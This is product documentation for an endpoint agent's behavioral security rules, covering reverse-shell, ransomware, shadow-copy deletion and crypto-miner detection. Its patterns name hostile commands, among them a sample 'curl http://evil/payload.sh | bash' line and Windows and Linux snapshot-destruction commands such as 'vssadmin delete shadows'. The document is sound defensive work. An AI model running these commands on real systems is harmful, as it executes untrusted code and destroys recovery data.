Behavioral Security Monitoring Without Writing Rules

ET Ducky's kernel-event stream powers both performance diagnostics and behavioral security from the same event source.

The Windows agent ships an always-on ETW behavioral monitor that watches for ransomware-style file rename bursts, shadow-copy deletion, backup sabotage, and selected exec chains. It can apply automatic network isolation on high-confidence detection. A second layer added in May 2026 runs on both Windows and Linux from a single rule definition.

Rule engine

The cross-platform rule engine subscribes to the agent's kernel-event stream (ETW on Windows, eBPF on Linux). Each registered rule receives every event in turn and decides whether to fire. Engine constraints:

• Rules must not block. They run on the same thread that delivers events. Blocking causes dropped events.
• Rules own their state. Rules requiring a sliding window or per-process counter implement that data structure themselves; the engine provides no state primitives.
• Rules are tuned to prefer false positives over false negatives. Duplicate firings are deduplicated at the dashboard layer.

Ten rules ship with the agent. Each detection record includes the events that triggered the rule.

Rule 1: suspicious-exec-chain

Pattern detected: a shell process spawns a network downloader (curl, wget, certutil, bitsadmin), and the downloader's PID then spawns another shell within 30 seconds. Example signature: curl http://evil/payload.sh | bash.

Evidence: the original shell-to-downloader exec and the downloader-to-shell exec, with PIDs and parent-child relationships.

Default severity: High.

Rule 2: mass-file-access

The rule maintains a per-process sliding window of 5 seconds containing distinct file paths. It fires when a single process touches 200 or more distinct paths in that window and the paths span at least 3 user-data root directories. The cross-root requirement reduces firings on backup tools, code indexers, and find -exec commands which typically stay within one tree.

Evidence: ten of the most recent file accesses with timestamps and paths.

Scope: detects only high-throughput access patterns. Ransomware that throttles below the 200/5s threshold does not trigger this rule.

Default severity: High.

Rule 3: reverse-shell-heuristic

The rule detects temporal coupling: a shell exec correlated with a recent network event in the same process tree. The window is 10 seconds; both the process and its immediate parent are considered.

Legitimate session daemons (sshd accepting an inbound connection and spawning bash) produce the same pattern. The evidence panel includes the network endpoint so the remote address can be evaluated.

Default severity: High.

Rule 4: privilege-escalation-noninteractive-parent

The rule fires when a privilege-escalation binary (sudo, pkexec, su, doas, runas) is spawned by a parent that is not on an allowlist of interactive parents. The allowlist includes bash, sh, zsh, sshd, login, lightdm, gdm, terminal multiplexers, and ET Ducky's own elevation flow.

Cron jobs running shell scripts that call sudo trigger this rule. Tuning options: allowlist the calling script, or modify the cron job to not require escalation.

Default severity: Medium.

Rule 5: unusual-outbound-from-system-daemon

The rule maintains a per-daemon expected-outbound-port set and fires on connections outside that set. Examples of expected ports: sshd uses DNS (53), Kerberos (88), LDAP (389/636), and SSH (22); systemd-resolved uses DNS (53), DoT (853), and DoH (443); chronyd uses NTP (123) and DNS (53).

Cooldown is applied per (process, port) pair to suppress repeated firings from a single mismatched connection pattern.

Default severity: Medium.

Rule 6: mass-file-rename

Pattern detected: a single process renames 25 or more files to a known ransomware extension (.locked, .encrypted, .crypto, and a curated list of strain-specific extensions) within a 60-second window. This complements mass-file-access: that rule fires on volume regardless of extension, and some strains throttle below its 200-files/5s threshold. This rule is shape-aware — even at low volume, 25 renames that all add .locked have no legitimate explanation.

The extension list is maintained by hand from ID-Ransomware, NoMoreRansom, and AV-vendor strain writeups. New strains add extensions, but old ones keep working, so the list doesn't go stale the way signatures do. Per-process cooldown is 60 seconds.

Default severity: High.

Rule 7: ransom-note-pattern

Pattern detected: creation of a file whose basename matches known ransom-note naming shapes — HOW_TO_DECRYPT*, DECRYPT_INSTRUCTIONS*, Restore-My-Files.txt, @WanaDecryptor@*, and strain-named variants (LockBit, Conti, REvil, and others), sourced from CISA #StopRansomware advisories and the NoMoreRansom decryptor catalog.

There is no threshold: a single match fires, because ransom notes have zero legitimate use — even a security-awareness test file with that name is worth an alert. A 5-minute per-process cooldown suppresses duplicates when a strain drops the same note into every directory it touched.

Default severity: Critical.

Rule 8: shadow-copy-deletion

Pattern detected: an exec whose command line matches OS-specific snapshot or recovery destruction (MITRE T1490). On Windows: vssadmin delete shadows, vssadmin resize shadowstorage, wbadmin delete catalog, bcdedit disabling recovery, wmic shadowcopy delete. On Linux: btrfs subvolume delete, zfs destroy on snapshots, snapper delete, timeshift --delete-all, and removal of /.snapshots.

A single hit fires — deleting shadow copies has effectively no legitimate use on a managed endpoint, and even a deliberate manual invocation is worth surfacing for change-management visibility. Per-process cooldown is 60 seconds. This is typically the first stage of a ransomware sweep: recovery options are destroyed before encryption begins.

Default severity: Critical.

Rule 9: crypto-miner-heuristic

Pattern detected: exec command lines with miner-distinctive shapes — stratum+tcp:// / stratum+ssl:// pool protocols, algorithm flags (--algo=randomx, cryptonight, kawpow, and others), coin flags, and hardcoded mining-pool domains. The rule deliberately does not match on binary names alone: attackers routinely rename xmrig to something like kworker, but the command line gives the miner away.

Severity is High rather than Critical because legitimate mining exists on some endpoints (developer testing, homelab rigs, research). Per-process cooldown is 5 minutes.

Default severity: High.

Rule 10: ransomware-kill-chain (meta-rule)

Pattern detected: any two of shadow-copy-deletion, mass-file-rename, and ransom-note-pattern firing on the same process within five minutes. These stages don't co-occur incidentally, so the combination constitutes ransomware-in-progress with very high confidence.

Unlike the other nine rules, this one consumes the rule engine's output rather than raw kernel events: it subscribes to the engine's detection stream and emits a single synthetic Critical alert referencing the component detections as evidence, so the operator gets one "isolate this host now" toast instead of three separate alerts. The crypto-miner rule is deliberately excluded from the chain — miners neither precede nor follow encryption. Per-process cooldown after firing is 10 minutes.

Default severity: Critical.

Cloud-side analytics rules

Two further rules run in the cloud against fleet-wide data rather than on the agent, and land in the same detections table and toast pipeline. fleet-baseline-deviation builds a per-app behavioral profile from your own fleet's 15-minute rollups and flags the host where an app behaves as an outlier against that baseline. approved-app-hash-mismatch flags an approved application whose on-disk binary hash diverges from the organization's trusted reference for that app, version, and architecture (reported by Windows and Linux agents alike). Both ship default-off and run in shadow mode first, so an organization can review what would have fired and tune before enabling live detections and automation triggers.

Rule customization

The ten agent-side rules above are the rules currently included with the agent. Planned additions include file-integrity monitoring on key paths (/etc/passwd, /etc/sudoers, Windows registry hives carrying persistence keys), credential-access detection (reads of /etc/shadow, lsass access on Windows), and lateral-movement indicators (SMB or SSH from one host to another). Each new rule uses a single cross-platform definition and runs on both operating systems without per-platform configuration.

Custom rule definitions are on the roadmap. The planned model is database-backed definitions with hot update, allowing rule changes from the dashboard without an agent reinstall. This capability is not currently available.

Detection delivery

Each detection writes a row to the per-organization AgentBehavioralDetections table. Row-level security is applied at the database layer. A Server-Sent Event is pushed to every dashboard tab open in that organization. A toast notification appears in the top right of the dashboard within seconds of the agent observing the pattern. Clicking the toast opens the side drawer for the affected agent, showing the full evidence trail and an acknowledgement control.

Detections persist in the table until acknowledged. Bulk acknowledgement is available. The audit trail records operator, detection id, agent, and timestamp.